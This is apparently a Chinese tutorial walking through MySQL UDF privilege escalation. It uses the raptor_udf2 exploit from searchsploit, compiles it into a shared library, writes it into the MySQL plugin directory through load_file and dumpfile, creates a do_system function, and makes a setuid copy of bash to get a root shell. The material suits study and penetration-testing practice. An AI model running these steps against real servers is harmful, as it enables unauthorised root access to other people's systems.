文章目录
UDF:user define fucntion,在mysql中,允许用户创建自定义函数,这些函数可以在SQL查询语句中使用,通过使用UDF,用户可以对数据库执行自定义操作。
提权条件:
- 拥有mysql数据库账号,且这个账号对mysql数据库有create、insert、delete权限;
- mysql数据库的secure_file_priv为空,这个变量主要限制load data、select * into outfil、load_file()只能在特定目录进行。
该变量有三种情况:
- secure_file_priv=null:所有路径不可写;
- secure_file_priv='':所有路径可写;
- secure_file_priv='/xxx/xxx':/xxx/xxx路径可写;
searchsploit mysql udf # 寻找mysql UDF相关的EXP searchsploit mysql udf -m 1518.c # 将漏洞库中的1518.c下载到当前目录
gcc编译的时候,不指定相关参数,直接接源文件,可能会有各种各样的报错。
简单查看该EXP,在利用过程中,需要登陆到mysql数据库,新建表,在表中插入编译好的共享库,
mysql数据库是mysql的核心数据库,主要负责存储数据库的用户、权限设置、关键字等mysql自己需要使用的控制和管理信息。
gcc -g -c -fPIC gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
-g:生成调试信息
-c:仅仅编译源代码,不进行链接,通常生成.o文件
-fPIC:生成位置无关代码,PIC(Position independent code),这种代码可以在内存中的任何位置执行,
docker cp container_id: # 将生成的so动态链接库文件传入Docker容器内
mysql -u root -p # 登录mysql数据库 # 查看是否满足UDF提权的基本条件 select user(); # 查看当前用户权限 show variables like '%secure_file_priv%' # 查看mysql中secure_file_priv的值 # 写入so共享库文件路径 show variables like '%plugin%'
这里账号权限属于root权限,且secure_file_priv的值为空,意味着任何一个目录都是可写的。故满足mysql UDF提权的基本条件。
create table foo(line blob): # 创建一个名为foo的数据表,有一个line列,其中的数据类型为blob。基本语法:create table table_name(columns datatype,...) # foo在计算机编程和网络领域是一个常用的占位服务名称,本身没有任何意义; # blob,即binary object,二进制对象,在存储二进制数据(如图像音频,UDF函数等)时,经常用这种数据类型。 insert into foo values(load_file('/tmp/raptor_udf2.so')); # mysql插入语法:insert into table_name(column1,...) values (values1, ...) # load_file():mysql中从本机导入文件 select * from foo into dumpfile('/usr/lib/nysql/plugin/raptor_udf2.so'); # 查询foo表中的所有数据,并将其写入/usr/lib/nysql/plugin/raptor_udf2.so # outfile和dumpfile的区别: # outfile可以写入多行数据,并且字段和行终止符都可以作为格式输出; # dumpfile只能写一行,并且输出中不存在任何格式。 # 注意:outfile导出二进制文件的时候会出错,最好用dumpfile create function do_system returns integer soname 'raptor_udf2.so'; # 创建自定义函数 # 函数名为do_system; # 返回值为整形,soname共享库名字为‘raptor_udf2.so’,mysql的共享库路径就是/usr/lib/mysql/plugin/ select * from mysql.func; # 查看mysql自定义函数 select do_system('cp /bin/bash /tmp/rootbash;chmod +xs /tmp/rootbash'); # 执行系统命令 /tmp/rootbash -p # 退出mysql连接,-p是以特权root身份启动bash.
chown mysql:mysql :修改文件属主。